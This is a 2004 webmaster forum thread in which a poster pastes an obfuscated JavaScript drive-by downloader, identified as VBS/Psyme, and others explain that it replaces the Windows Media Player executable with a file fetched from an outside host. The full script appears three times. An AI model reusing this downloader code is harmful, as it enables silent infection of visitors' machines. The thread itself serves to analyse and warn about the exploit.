What does this script do exactly? - GoFuckYourself.com

FreeOnes · 07-12-2004, 04:29 PM

http://traffic.hitscounter.biz/count65/ss.js.php

wmplayerpaths= [ "C:\\Programmer\\Windows Media Player\\wmplayer.exe", "D:\\Programmer\\Windows Media Player\\wmplayer.exe", "C:\\Program\\Windows Media Player\\wmplayer.exe", "D:\\Program\\Windows Media Player\\wmplayer.exe", "C:\\Programme\\Windows Media Player\\wmplayer.exe", "D:\\Programme\\Windows Media Player\\wmplayer.exe", "C:\\Programmi\\Windows Media Player\\wmplayer.exe", "D:\\Programmi\\Windows Media Player\\wmplayer.exe", "C:\\Programfiler\\Windows Media Player\\wmplayer.exe", "D:\\Programfiler\\Windows Media Player\\wmplayer.exe", "C:\\Programas\\Windows Media Player\\wmplayer.exe", "D:\\Programas\\Windows Media Player\\wmplayer.exe", "C:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Program Files\\Windows Media Player\\wmplayer.exe", "C:\\Program Files\\Windows Media Player\\wmplayer.exe" ]; function IfExists(path) { try { var r = 1; var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.LoadFromFile(path); } catch (e) { return 0; } return 1; } try { for (i=0;i<wmplayerpaths.length;i++) { wmplayerpath = wmplayerpaths[i]; if (IfExists(wmplayerpath)) break; } var x = new ActiveXObject("Microsoft.XMLHTTP"); xhahahahahaha("GET", "http://download.hitscounter.biz/count65/test.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.Write(x.responseBody); s.SaveToFile(wmplayerpath,2); location.href = "mms://"; } catch(e) { }

VBS/Psyme:http://us.mcafee.com/virusInfo/defau...virus_k=100749

thanks for your help

Jace · 07-12-2004, 04:32 PM

it appears to be trying to find windows media player and then streaming something

grumpy · 07-12-2004, 04:34 PM

tests in several languages if the windows media player is installed
( or at least at the hardddisk )
then loads an test.exe and looks likes it replaces the media player or links to it.

grumpy · 07-12-2004, 04:35 PM

put the sript here as a text link...then we can read all the ahahaa shit

zanycash Pete · 07-12-2004, 04:36 PM

See's what version of WMP is on your system??

FreeOnes · 07-12-2004, 04:36 PM

Quote:

Originally posted by grumpy
put the sript here as a text link...then we can read all the ahahaa shit

it loads from this page via an IFRAME
http://www.babes-club.com/jelena_foot/01.html

grumpy · 07-12-2004, 04:57 PM

no iframe in that page
Well not for me.

Robertf · 07-12-2004, 05:05 PM

beh i had that once :-/ a version of it ...

It replaces a windows media player file .. then copies a file to your %windows% folder ... makes sure it starts up when your computer starts ... and that you can't delete it (easely)

After that came into my comp ... 90% of the links on my own webpage .. went somewhere else ( thanks to that i knew directly i had something in my comp)

sandman! · 07-12-2004, 05:09 PM

Quote:

Originally posted by FreeOnes
http://traffic.hitscounter.biz/count65/ss.js.php

wmplayerpaths= [ "C:\\Programmer\\Windows Media Player\\wmplayer.exe", "D:\\Programmer\\Windows Media Player\\wmplayer.exe", "C:\\Program\\Windows Media Player\\wmplayer.exe", "D:\\Program\\Windows Media Player\\wmplayer.exe", "C:\\Programme\\Windows Media Player\\wmplayer.exe", "D:\\Programme\\Windows Media Player\\wmplayer.exe", "C:\\Programmi\\Windows Media Player\\wmplayer.exe", "D:\\Programmi\\Windows Media Player\\wmplayer.exe", "C:\\Programfiler\\Windows Media Player\\wmplayer.exe", "D:\\Programfiler\\Windows Media Player\\wmplayer.exe", "C:\\Programas\\Windows Media Player\\wmplayer.exe", "D:\\Programas\\Windows Media Player\\wmplayer.exe", "C:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Program Files\\Windows Media Player\\wmplayer.exe", "C:\\Program Files\\Windows Media Player\\wmplayer.exe" ]; function IfExists(path) { try { var r = 1; var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.LoadFromFile(path); } catch (e) { return 0; } return 1; } try { for (i=0;i<wmplayerpaths.length;i++) { wmplayerpath = wmplayerpaths[i]; if (IfExists(wmplayerpath)) break; } var x = new ActiveXObject("Microsoft.XMLHTTP"); xhahahahahaha("GET", "http://download.hitscounter.biz/count65/test.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.Write(x.responseBody); s.SaveToFile(wmplayerpath,2); location.href = "mms://"; } catch(e) { }

VBS/Psyme:http://us.mcafee.com/virusInfo/defau...virus_k=100749

thanks for your help

Its an exploit if its a gallery submitted delete it if its a trade you might want to delete it.

Its an old exploit also not many people still use it.

Nasty · 07-12-2004, 05:09 PM

I dont get an iframe on that page but I see its another one of those http://yourownfreehost.com/ sites, a lot of funky shit seems to be coming up on those sites

07-12-2004, 04:29 PM	#1
FreeOnes Confirmed User Join Date: Jul 2001 Location: The Netherlands Posts: 3,400	What does this script do exactly? http://traffic.hitscounter.biz/count65/ss.js.php wmplayerpaths= [ "C:\\Programmer\\Windows Media Player\\wmplayer.exe", "D:\\Programmer\\Windows Media Player\\wmplayer.exe", "C:\\Program\\Windows Media Player\\wmplayer.exe", "D:\\Program\\Windows Media Player\\wmplayer.exe", "C:\\Programme\\Windows Media Player\\wmplayer.exe", "D:\\Programme\\Windows Media Player\\wmplayer.exe", "C:\\Programmi\\Windows Media Player\\wmplayer.exe", "D:\\Programmi\\Windows Media Player\\wmplayer.exe", "C:\\Programfiler\\Windows Media Player\\wmplayer.exe", "D:\\Programfiler\\Windows Media Player\\wmplayer.exe", "C:\\Programas\\Windows Media Player\\wmplayer.exe", "D:\\Programas\\Windows Media Player\\wmplayer.exe", "C:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Archivos de Programa\\Windows Media Player\\wmplayer.exe", "D:\\Program Files\\Windows Media Player\\wmplayer.exe", "C:\\Program Files\\Windows Media Player\\wmplayer.exe" ]; function IfExists(path) { try { var r = 1; var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.LoadFromFile(path); } catch (e) { return 0; } return 1; } try { for (i=0;i<wmplayerpaths.length;i++) { wmplayerpath = wmplayerpaths[i]; if (IfExists(wmplayerpath)) break; } var x = new ActiveXObject("Microsoft.XMLHTTP"); xhahahahahaha("GET", "http://download.hitscounter.biz/count65/test.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; shahahahahaha(); s.Write(x.responseBody); s.SaveToFile(wmplayerpath,2); location.href = "mms://"; } catch(e) { } VBS/Psyme:http://us.mcafee.com/virusInfo/defau...virus_k=100749 thanks for your help __________________ The new FreeOnes! - AdultFilmStarContent - BabeGalleries and much more! - 1Strike Movies and much more! All powered by Xpressa

07-12-2004, 04:34 PM	#3
grumpy Too lazy to set a custom title Join Date: Jan 2002 Location: Holland Posts: 9,870	tests in several languages if the windows media player is installed ( or at least at the hardddisk ) then loads an test.exe and looks likes it replaces the media player or links to it. __________________ Don't let greediness blur your vision \| You gotta let some shit slide icq - 441-456-888 Last edited by grumpy; 07-12-2004 at 04:35 PM..

07-12-2004, 04:35 PM	#4
grumpy Too lazy to set a custom title Join Date: Jan 2002 Location: Holland Posts: 9,870	put the sript here as a text link...then we can read all the ahahaa shit __________________ Don't let greediness blur your vision \| You gotta let some shit slide icq - 441-456-888

07-12-2004, 04:36 PM	#5
zanycash Pete Confirmed User Join Date: Jun 2004 Location: California Posts: 1,023	See's what version of WMP is on your system?? __________________ $45 Per Join or 60/40 Rev Share! New Fresh Hosted Galleries And High Quality/Converting Sites! Free Hosting, Free Content, Awsome Free Hosted Gallery Generator! ICQ#249-429-941

07-12-2004, 04:57 PM	#7
grumpy Too lazy to set a custom title Join Date: Jan 2002 Location: Holland Posts: 9,870	no iframe in that page Well not for me. __________________ Don't let greediness blur your vision \| You gotta let some shit slide icq - 441-456-888

07-12-2004, 04:32 PM	#2
Jace FBOP Class Of 2013 Industry Role: Join Date: Jan 2004 Location: bumfuck, ky Posts: 35,562	it appears to be trying to find windows media player and then streaming something

07-12-2004, 05:05 PM	#8
Robertf Confirmed User Join Date: Feb 2004 Posts: 392	beh i had that once :-/ a version of it ... It replaces a windows media player file .. then copies a file to your %windows% folder ... makes sure it starts up when your computer starts ... and that you can't delete it (easely) After that came into my comp ... 90% of the links on my own webpage .. went somewhere else ( thanks to that i knew directly i had something in my comp) __________________ ....

07-12-2004, 05:09 PM	#10
Nasty Confirmed User Industry Role: Join Date: Aug 2002 Location: Sunny Fucking California Posts: 1,575	I dont get an iframe on that page but I see its another one of those http://yourownfreehost.com/ sites, a lot of funky shit seems to be coming up on those sites __________________ “Ours is a world of nuclear giants and ethical infants. We know more about war than we know about peace, more about killing than we know about living. If we continue to develop our technology without wisdom or prudence, our servant may prove to be our executioner.” ― Omar Bradley (1948)